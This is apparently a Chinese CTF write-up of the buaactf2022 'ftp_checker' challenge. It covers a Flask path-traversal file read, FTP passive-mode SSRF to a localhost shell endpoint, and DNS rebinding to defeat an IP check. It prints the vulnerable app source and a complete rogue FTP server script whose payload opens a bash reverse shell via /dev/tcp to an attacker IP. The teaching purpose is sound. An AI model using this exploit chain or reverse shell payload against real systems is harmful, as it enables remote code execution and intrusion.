buaactf2022::ftp_checker
0、环境部署
docker-compose up的时候发现报错
ERROR: Pool overlaps with other one on this address space
查看.yml文件,发现他自己指定了IP地址:
networks:
mynetwork:
ipam:
config:
- subnet: 172.20.0.0/24
处理方式:
docker network ls //查看已有的docker网卡
docker network inspect 网卡id //查看某网卡详细信息
docker network rm 网卡id
(其实我是通过改subnet解决的;注意网络前缀位数别变,一定要私有ip)
修改相关代码后,需要docker-compose build
才能使修改得到应用。
1、代码审计与任意文件读取
题目提示了静态文件配置问题;直接在burp里尝试访问/static/../app.py即可实现读取。
咱们看看题目到底是怎么写的。
//app.py
app = Flask(__name__, static_url_path='')
@app.route("/")
def index():
return send_file('index.html')
@app.route('/static/<path:path>')
def static_files(path):
file = os.path.join('static', path)
if os.path.isfile(file):
return send_file(file)
else:
abort(404)
//index.html;与app.py在同一目录下
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8>
<meta name=viewport content="width=device-width,initial-scale=1">
<title>FTP CHECKER</title>
<link href=/static/css/app.13fe4782c17cfc05b537bd6f8bf1c197.css rel=stylesheet>
</head>
<body>
<div id=app></div>
<script type=text/javascript src=/static/js/manifest.2ae2e69a05c33dfc65f8.js></script>
<script type=text/javascript src=/static/js/vendor.663fe220fc33852f1a68.js></script>
<script type=text/javascript src=/static/js/app.32ca23aa33b400ddf85a.js></script>
</body>
</html>
只能说从头到尾都非常神奇;完全没有使用控制语句&渲染。
我们尝试将其改为我们习惯的写法(并从中学习一些知识)
//app.py
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
'''
@app.route('/static/<path:path>')
def static_files(path):
file = os.path.join('static', path)
if os.path.isfile(file):
return send_file(file)
else:
abort(404)
'''
//index.html;在templates文件夹中,该文件夹与app.py在同一目录下。
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8>
<meta name=viewport content="width=device-width,initial-scale=1">
<title>FTP CHECKER</title>
<link href="{{url_for('static',filename='css/app.13fe4782c17cfc05b537bd6f8bf1c197.css')}}" rel=stylesheet>
</head>
<body>
<div id=app></div>
<script type=text/javascript src="{{url_for('static',filename='js/manifest.2ae2e69a05c33dfc65f8.js')}}"></script>
<script type=text/javascript src="{{url_for('static',filename='js/vendor.663fe220fc33852f1a68.js')}}"></script>
<script type=text/javascript src="{{url_for('static',filename='js/app.32ca23aa33b400ddf85a.js')}}"></script> -->
</body>
</html>
几个关键点:
(1)flask默认从/static/
目录找静态文件(css,js,img等),但是题目的程序通过Flask(__name__, static_url_path='')
修改了默认路径。默认方式就找不到了,所以题目又写了个路由@app.route('/static/<path:path>')
去找静态文件。
(2)根路由下题目使用了send_file
,没用render_template
渲染,所以html里的src只能直接写路径,不能写控制语句。要进行修改,除了改上述东西,还要注意把index.html
放在templates
下,因为render_template
默认在这个目录下找文件进行渲染。
2、源码
from flask import Flask, request, send_file, abort
from io import BytesIO
import os
import socket
import ftplib
app = Flask(__name__, static_url_path='')
@app.route("/")
def index():
return send_file('index.html')
@app.route('/static/<path:path>')
def static_files(path):
file = os.path.join('static', path)
if os.path.isfile(file):
return send_file(file)
else:
abort(404)
@app.route("/ftpcheck", methods=['POST'])
def ftpcheck():
ftpaddr = os.environ['FTPADDR']
# ftpaddr = '10.20.0.7'
host = request.form.get('host', '')
if host == '':
host = ftpaddr
try:
if socket.gethostbyname(host) != ftpaddr:
return f'Only the specified ftp server {ftpaddr} is acceptable!'
except:
return 'Something is wrong, maybe host is invalid.'
file = 'robots.txt'
fp = BytesIO()
try:
with ftplib.FTP(host) as ftp:
ftp.login("admin","admin")
ftp.retrbinary('RETR ' + file, fp.write)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(host,str(e))
fp.seek(0)
try:
with ftplib.FTP(host) as ftp:
ftp.login("admin","admin")
ftp.storbinary('STOR ' + file, fp)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(host,str(e))
fp.close()
return 'FTP {} Check Success.'.format(host)
@app.route("/shellcheck", methods=['POST'])
def shellcheck():
if request.remote_addr != '127.0.0.1':
return 'Localhost only'
shell = request.form.get('shell', '')
if shell == '':
return 'Parameter "shell" Empty!'
return str(os.system(shell))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
3、ftp_ssrf
我们看到,shellcheck里有个只能本地调用的shell(remote_addr不可绕),ftpcheck后半段有个先在ftp服务器上接收文件再原样发回去的服务。
于是,可用ftp_ssrf来进行RCE。
《FastCGI与Web中间件》
《FastCGI_SSRF》
单就FTP_SSRF而言,本题比上面两篇文章中讲到的内容简单不少。
上两篇文章中提到的内容中RCE的点是PHP-FPM,涉及到FastCGI协议(传输格式)、Web中间件等好多内容,RCE的套接字也是唯一的:127.0.0.1:9000
。
而本题RCE的点是自己写的shellcheck,这个RCE在本地(127.0.0.1)任何端口都能触发,且传送的信息也只需要是正常的POST请求。
适用于本题的ftp服务器在官方wp中已经给出,附在这里,其余懒得说了。
import socket
from urllib.parse import unquote
# 这里填入自己服务器的ip地址和接收反弹shell的端口
shell_ip = 'x.x.x.x'
shell_port = '7777'
# 对payload进行一次urldecode
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 21
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
print("220 ")
conn.send(b"220 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
print("220 ready")
conn.send(b"220 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文
print("200 ")
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
print("227 %s,4,210" % (shell_ip.replace('.', ',')))
conn.send(b"227 %s,4,210\n" % (shell_ip.replace('.', ',').encode())) # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
print("227 127,0,0,1,31,144")
conn.send(b"227 127,0,0,1,31,144\n") # 端口计算规则:35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
print("125 ")
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
print("150 ")
conn.send(b"150 \n")
# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
print("226 ")
conn.send(b"226 \n")
print(conn.recv(20)) # QUIT\r\n
print("221 ")
conn.send(b"221 \n")
conn.close()
count += 1
4、DNS重绑定
之前的ftp_ssrf要求我们使用自己的ftp恶意服务器,而ftp_check的前半段中规定了ftp服务器的IP地址必须为os.environ['FTPADDR']
(实际为10.20.0.7),否则不执行后续语句。
要绕过这个IP地址判断,我们需要进行DNS重绑定攻击。
@app.route("/ftpcheck", methods=['POST'])
def ftpcheck():
ftpaddr = os.environ['FTPADDR']
# ftpaddr = '10.20.0.7'
host = request.form.get('host', '')
if host == '':
host = ftpaddr
try:
if socket.gethostbyname(host) != ftpaddr:
return f'Only the specified ftp server {ftpaddr} is acceptable!'
except:
return 'Something is wrong, maybe host is invalid.'
file = 'robots.txt'
fp = BytesIO()
try:
with ftplib.FTP(host) as ftp:
ftp.login("admin","admin")
ftp.retrbinary('RETR ' + file, fp.write)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(host,str(e))
fp.seek(0)
try:
with ftplib.FTP(host) as ftp:
ftp.login("admin","admin")
ftp.storbinary('STOR ' + file, fp)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(host,str(e))
fp.close()
return 'FTP {} Check Success.'.format(host)
这段代码中实际上有三处需要用到DNS服务。首先就是校验socket.gethostbyname(host) != ftpaddr
。还有两个则是后面的两个with ftplib.FTP(host) as ftp
,他们是用于初始化FTP类的。
这三次DNS查询之间的间隔非常短,以至于我们必须将DNS服务器的DNS_TTL设置为0,否则它就不会对我们的服务器进行三次查询。
我们要做的 就是用脚本起一个DNS恶意服务器,在接收第一次查询时返回10.20.0.7
以绕过它的校验,接下来两次都返回自己的FTP服务器地址,让它能与我们的FTP恶意服务器建立连接收(第二次)发(第三次)文件。
让我们在云服务器上买的域名和我们写的DNS恶意服务器直接交互的方法是,建个子域,NS记录改成自己的服务器。然后在服务器上起恶意DNS服务就行了。
https://xz.aliyun.com/t/7495#toc-2
不想操作了,挖坑待填。
5、总结
这题主要的难点在于要用脚本起两个恶意服务器(DNS恶意服务器,FTP恶意服务器),算是我完全没接触过的东西吧。